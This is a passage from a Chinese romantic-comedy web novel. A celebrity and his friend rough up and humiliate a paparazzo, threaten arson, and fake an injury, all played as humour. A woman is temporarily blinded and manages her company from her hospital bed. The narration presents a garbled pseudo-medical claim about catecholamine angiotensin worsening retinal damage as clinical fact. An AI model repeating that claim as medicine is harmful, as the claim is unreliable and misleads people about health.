“行行行,绝对没问题。”顾燕京满口保证,转而又问:“哎对了,是男是女呀?”
“什么是男是女?又不是去妇产科。”盛愿没好气地道。
“我是问另外那狗仔男的女的,好让我学生去调监控。”
顾燕京虽然平时跟朋友没正行,但在医学领域年轻有为,手底下带着好几个的博
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生生。
盛愿直接打开听筒外放。安北河转而从苏渔那块问得:“俩男的。”
顾燕京:“不会一对双胞胎吧?”
盛愿:“……信不信我回头抽你?”
“我这不想活跃气愤嘛,你现在得保持情绪稳定。”顾燕京解释:“我已经在往脑CT那边赶了,你俩别担心,这事全权交给我。”
盛愿气得胃更疼了,直接掐断电话。
他看向门口,“苏渔怎么说?”
安北河瞥了眼偷听的顺子,低头打字:
[医生初步诊断,头昏可能跟卓然昨晚没休息有关,正在做脑CT。你就先折腾了,过去也是在门外干等着]
盛愿视线扫到“昨晚没休息”几个字,蓦地一黯。
他沉脸想了想,卓然对这游戏项目挺看重的,不能因此影响到元旦的发布会,[先把狗仔手里的照片搞过来]
安北河朝他点点头,转脸看向窗边的顺子,“都听见啦?打电话叫人过来,谈谈。”
“吓唬谁呢?我又没让她追,而且我也没碰到她。”偷拍明星又不是第一次被抓,顺子早就有恃无恐:“我就不打!你们还能关我一辈子?”
安北河喉间溢出一声低低的笑,“那你就试试。”
说话间,他慢条斯理地摘下手腕缠绕的血檀佛珠,一步步逼近窗边。
顺子满脸戒备:“我警告你啊,你要是敢……啊——”他脑袋突然被按在窗台上,杀猪般的惨叫响彻病房。
安北河反掰过他右手,笑问:“刚是这只手碰她了?”
顺子疼得唉呀妈呀,“我没碰那高个的。”
“我说得就是另外那个!”
安北河又猛地往后拽住他头发,“我都没动过她一根手指头,凭你也配?”
顺子回过味来,心中一阵卧槽。
他这是倒了什么血霉哟?
怎么一个两个女的都有人护着?
要知道平时的安北河,一袭中山装,气质沐如春风,瞧着可比盛愿亲近太多。大伙与北愿工作室合作,都喜欢找安北河对接。
结果他竟是个笑面虎,灯下黑!!!
顺子气急败坏:“我警告你啊,再敢动手,我分分钟让盛愿塌房。”
“看来还是打得轻啊,”盛愿拿起水果刀,敲了敲床头柜,“给他上点重口味的。”
安北河瞥眼床头柜,了然勾唇,单手扭着顺子走过去。
顺子慌了:“你们可得想清楚,持械伤人是违法的!”
俩兄弟没人理会,一个捏开他嘴,一个从床头柜掏出东西,往他嘴里猛塞。
那是盛愿昨晚穿的白T,沾了呕吐物,还没拿去干洗。
又嗖臭又腥气,直冲冲的刺激,顺着喉咙猛地蹿上天灵盖——
“yue!”
顺子下意识干呕,偏偏嘴被堵住了,想吐吐不出来,想咽咽不下去。
到最后,他的脸都绿了。
这他妈地是真重口味yue……
以至于给大春打电话时,他仍在卫生间呕吐不止:“哥,刚有人被我撞进脑CT室了。”
大春怒骂:“草!你脑子长蛆啦?我们是娱记,你动手干什么?”
顺子:“不是故意的。我着急跑路,然后出了意外。”
大春还算仗义,半小时就赶至病房,“人咋样?医药费我们全包。”
盛愿没瞧见他摄像机,“东西呢?”
大春:“这是两码事。”
“撞人赔钱,是我们的义务。明星接受大众的审查,也是你们的义务。我今天定要你这个虚伪的顶流塌房!”
盛愿眯眼:“她不是圈内人。”
大春:“我会给她脸打码。”
盛愿点点头,看向安北河,“告诉咱在楼下那人,去把那辆面包车连摄像机一起烧了。”他冷眼看回大春,语气淡漠:“烧你东西赔钱,我也会尽到义务。”
“草!”大春急了,拔腿就往外冲。
安北河一脚踹过去,两人扭打起来。
顺子箭步上前,一把拉开房门大喊:“快来看啊,明星打人啦——”
“明星”二字太惹眼,楼道的人纷纷聚拢过来。
结果却看见,盛愿不知什么时候,穿着病号服躺到地上。
他脸色苍白,有气无力地向前招手,“凡事冲我来,我兄弟他是无辜的……”
“我去!演员入戏都这么快的吗?”
顺子自己又麻溜将房门关上了。
大春咬牙切齿:“你居然隔这跟我玩碰瓷?”
门关上后,盛愿撑着床沿缓缓躺回去,调整成熟悉的姿势,“我是在教你们学做人。”
“你可拉到吧!”
大春气到抽抽:“我一个狗仔,都狗不过你啊……”
这时,顾燕京闻讯匆匆赶来。
等看清病房内情形,他眼珠转两下,忽地“哎呀”了声。
“完了完了,全完了呀!”
顾燕京满脸急色,“他身体好不容易恢复了点,现在这么一闹,至少还得再多花上百八十万呐。”
他身上的白大褂挺唬人,看得顺子信以为真:“要、要这么多啊?”
他急得挠头,心说咋不是肾病呢?实在不行,还能匀他一个。
大春也心慌慌,面上故作淡定:“该承担的医疗费用与责任,我们一分不会少。”
盛愿才不缺那百八十万,“她怎么样?”
“人醒了。”
说着喜讯,但顾燕京脸上并无喜色。
盛愿眼皮突突一跳,“然后呢?”
“……失明了。”
12. 重圆篇
卓然被从脑CT室推出来,没多久,人就醒了。又经过一番细致检查,从普通病房转入眼科VIP病房。
睁眼闭眼都是漆黑,本就一夜未眠的她,索性阖眼补觉。
空中弥漫的消毒水味,周围仪器的冰冷“嘀嗒”声,无形之中全被放大。
苏渔安静陪在病床边,见卓然半晌没出声,就以为睡着了。小姑娘愧疚难当,再也忍不住了,抬手偷偷抹眼泪。
都怪她太没用,要不然卓姐哪用遭这份罪?
她宁愿是自己躺在那,反正盛哥随时都能招到新助理。可卓姐不一样,“蜜恋”每天那么多员工都等着她坐镇指挥呢。
压抑的啜泣声,丝丝传入卓然耳朵。
她了然睁眼,缓了缓:“突然好想吃辣条,要是有人愿意投喂我就好了。”
“有有有!我这就外卖下单。”
蔫头耷脑的小姑娘,瞬间激情昂扬。
等外卖电话一到,她就迅速拉开房门下楼,雄赳赳地好似奔赴一线战场。
卓然哑然失笑,独自躺在病房,盘算着公司各部门接下来的安排。
确实赶上“蜜恋男友”项目上市的关键期,好在代言的难题已妥善解决。
之后只要不出意外,员工们各司其职即可。
苏渔出去不久,房门又被从外面推开
盛愿缓缓走进来,步子轻轻的。
他身体还余有虚弱,由安北河搀扶着,从住院部内科五层乘电梯来到眼科两层。
路上,顾燕京大致解释了病情:
“后脑磕碰到,眼角膜水肿引发的暂时失明。遵从医嘱用药,好好休养,或有望尽快恢复。”
话虽如此,当盛愿真见到人时,未免“近乡情怯”。
他站定在床头,良久缄默。
名如其人,这是个卓然独立的姑娘。此刻百无聊赖躺在病床上,似鸿鹄折翼。
她失去焦距的葡萄眼呆怔着,不曾察觉骄阳刺目,也不曾察觉他向她靠近的身形。
直到,卓然不经意眨下眼。
同样呆怔的盛愿,瞬时回神,试着抬手在她眼前晃了晃。
卓然眼珠转向他,“盛愿。”
盛愿心悬高一大截,“能看见了?”
卓然淡声:“猜的。”敢这么无聊在她眼前扇风的,还能有谁?
盛愿手臂无声垂落回去,“这时候挺聪明,之前傻了吧唧追什么?经过我同意了吗?”
卓然嘴角微动,能把关心之言说成他这么气人的,也算一种本事。
“我们是一条船上的人,这事有我一份责任,也要承担一份后果,于公于私我都不能坐视不理。而且,”她顿了顿,“麻烦你端正态度,现在我才是金主爸爸。”
“……”
随后,“金主爸爸”起身靠坐在床头,表示想喝水。
见她精神状态良好,盛愿脸色略微舒展,屈尊降贵地去倒了小半杯热水。
他用手背试过纸杯的温度,才递到卓然手边,“来,喂猪了,想喝的伸爪。”
“……”
由他照看,她这复明是遥遥无期了。
鉴于此,卓然将其他人全叫过来,趁早交代下“后事”。
*
刚刚搀扶盛愿过来,安北河没贸然进入女士的病房,而是笑意深深地叫住顾燕京,说要进一步询问病情。
经卓然允许,两人先后走进来。
安北河诚挚道谢,表示后续看护事宜,他和苏渔全包。
猜到卓然有体己话要交代,知趣地主动走开,“我去瞧瞧小渔,估计那丫头又躲哪哭鼻子去了。”
之后病房剩下三人。盛愿坐在沙发椅上,长腿松松交叠。顾燕京斜靠在床头柜上,双臂相环。
玻璃圆茶几上,养生壶内菊花茶“咕嘟”绽放,茶香清新四溢,像极了三人在茗景庄园的那个午后。
卓然没避讳盛愿,跟顾燕京交代起工作安排:“公司近期的事,你帮我多盯着点。”
执行事务,会暂时交给助理孙蓓蓓。
但企业管理不能权责相容。
顾燕京作为“蜜恋”母公司华海科技的股东,5%股权看似不多,但在股权分散的上市集团,实则占有举重若轻的地位。
另外,因为瑞京医院的基本盘与华海科技的市值相差较多,所以等价置换股权后,华海科技持有了瑞京医院20%股权,对其相关决策具有重大影响。
卓然综合目前情况来看,顾燕京比较适合接过她手上的部分审批权。
顾燕京管理医院多年,日常的人事安排还是能cover的。他稍作思考,答应下来,“日常事务我先帮着监督几天,核心机密的决策还得你来。”
卓然点点头,这和她想法不谋而合。
“还有,你等会先和集团研发部联系下。”她补充道:“5个仿生机器人已组装完毕,我居家这段时间,刚好可以测试它们的语音逻辑。”
顾燕京这回不答应了,“我说卓老佛爷,您就不能歇几天再垂帘听政?”
盛愿趁机附和:“早上也不知道是谁,站在道德制高点,强烈谴责我不遵从医嘱。”
卓然选择性失忆:“是么,还有人连这种小事都要管?那你也是挺憋屈的。”
盛愿:“……”
顾燕京笑得肩膀耸动,乐得看戏。
“其实当初将‘蜜恋男友’设计出仿生版本,就有居家守护盲人这层考虑。”卓然正色解释,“现在的形势,于我而言是挑战,也是次机遇。”
顾燕京面露恍然,惊叹她一箭三雕的巧思,“我这有研发部的微信,现在就能联系。”
“反正人和机器人同时照顾,也不冲突。”他边掏手机,边看向盛愿,“你俩继续互相伤害,别停哈。”
盛愿没予理会,垂眼盯着床头柜上卓然的那副眼镜,若有所思:“怎么想到把‘恋爱手游’与‘守护盲人’联系到一起?”
“大学室友先天弱视,给了我启发”
卓然神色如常地答复:“同样生而为人,纵使身有缺陷,也该平等享有爱意的滋养。”
——不论是恋爱,还是关爱。
顾燕京低头编辑着微信,会心一笑。
盛愿则勾唇未语。
他静静凝视着卓然,凝视着这个身形纤薄的姑娘。阳光散落在她锁骨处,钻石吊坠折射出璀璨的光亮。
这一幕,让他不经意记起一部古装戏里的台词:“山水多情常抱月,人间大爱永存流。”
这话现在细细品来,别有一番滋味。
“对了,你跟那俩狗仔怎么样?”卓然换了话题。
“这还用问?”盛愿言简意赅阐明,如何不费一分一毫就将大春和顺子制服了,绝口不提自己躺地上碰瓷的光辉事迹。
卓然将信将疑:“那他俩的战斗力也太弱了吧?”
顾燕京不厚道笑出声:“自信点,把‘吧’字去掉。”
盛愿:“……”
不过真计较起来,狗仔大春的战斗力确实要打个问号。
盛老师慵懒地靠到沙发椅背上,赏脸给这两个无知小辈,现场科普大春多年来的重大战果——
大春一向热衷爆料隐婚出轨、渣男劈腿,给钱都不卖,让圈内一些喜欢胡搞的艺人头疼不矣。
当然,清者自清。于是大春常常蹲拍不成,反倒贡献不少搞笑的段子。
什么给盛愿免费拍出绝美的神颜照啦;什么有人朝六晚十的
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生物钟、连带大春矫正作息啦;什么美食诱惑被迫胖三斤啦……
卓然勾唇:“这么说来,还是个有正义感的狗仔。”
顾燕京也笑:“你还别说,他刚才非要坚持给你付医药费呢。”
唯独盛愿脸色肃然,“你眼睛这事,打算怎么追究?”
卓然稍作沉吟:“他账号多少粉?”
顾燕京诧异看她,不明所以。
相较而言,盛愿转瞬心领神会:“资本家果然都是吸血的啊。”他点开微博瞧了眼,“也就100来万吧。”
寻常人眼中,这也是百万大V了。
不过对于内娱第一顶流而言,确实不够看。
卓然忽略某人不可一世的张狂腔调,思忖道:“让他无偿发一条‘蜜恋’的微博推广,并签署永久性的相关保密协议。”
除去她失明的整体归责不谈,惹得狗仔事后报复可不算什么好事。
与其硬碰硬,不如因势利导。
“你这女人也太狠了。”顾燕京终于反应过来,这一则霸王条款签订完,对方看似没花一分钱,实则为她节省了大几十万的广告费+公关费。
他忍不住咂舌:“多亏你只是暂时性失明。万一再严重点,那俩狗仔还不得倾家荡产、满大街裸/奔?”
卓然摇头,“他们肯定也明白其中利弊,这协议没那么好签。”
这时,某顶流故意清了清嗓子。
华海科技的法务更擅处理商业官司,在媒体方面肯定北愿工作室的律师更有经验。
所以,盛愿一早就联系过他律师。
至于现在……
作为知情人,顾燕京戏谑地环视着这俩人,坚守吃瓜第一线。
“还是我自己来吧。”
意外的,卓然婉言谢绝了,“免得大春他们再多想。”
虽说早就知道狗仔常年跟拍明星,但只有亲身经历过,才能深刻体会个中凶险。她“看”向顾燕京,“你等会帮我联系下集团的法务。”
病房内的气氛凝滞一瞬。
盛愿眸色黯淡下来。
顾燕京脸色也变得微妙。恰是这时,手机忽而“叮”了声,收到微信新消息。
他漫不经心低头瞧去,眼皮倏跳。
他下意识小心去瞧卓然,转而对上盛愿的视线,眼珠惊慌闪烁不定。
盛愿皱眉嫌弃他的大惊小怪,直接拿过手机扫了眼……身形一僵,然后也不由去悄看卓然的脸色。
卓然已注意到房间古怪的寂静,“怎么了?集团那边有答复了?”
她猜对一半。是集团研发部的回复,但情况有变。
——机器人出故障了。
5套芯片的数据库系统全部毁损!
这种事故说大不大说小不小,但却赶在了“蜜恋”即将开服上市的紧要关头。
而且卓然现在情况复杂。她对“蜜恋”倾注太多心血,知道后必定心急如焚,没法安心养病。
原本留院观察两天,没出现眼酸头疼等症状,她就能回家休养。
可一旦遭受非常恶性的刺激,临床医学表明,这会导致大脑皮层分泌儿茶酚胺血管紧张素,从而加速视网膜色素的病变。
如果处理不当,临时失明恶化成永久性失明,也是有可能的。
身为医生,顾燕京对此更加了解,也更加焦急。
等卓然再次追问时,他手心紧张到冒汗,只能不停地给盛愿递眼色、催他想办法。
盛愿屏息凝神,大脑飞快运转,“害,也不是什么大事,”他故作淡定地嫌弃道:“有个基佬在拉人进群。顾燕京啊顾燕京,你特么地以后离我远点!”
顾燕京:“???”
卓然:“……”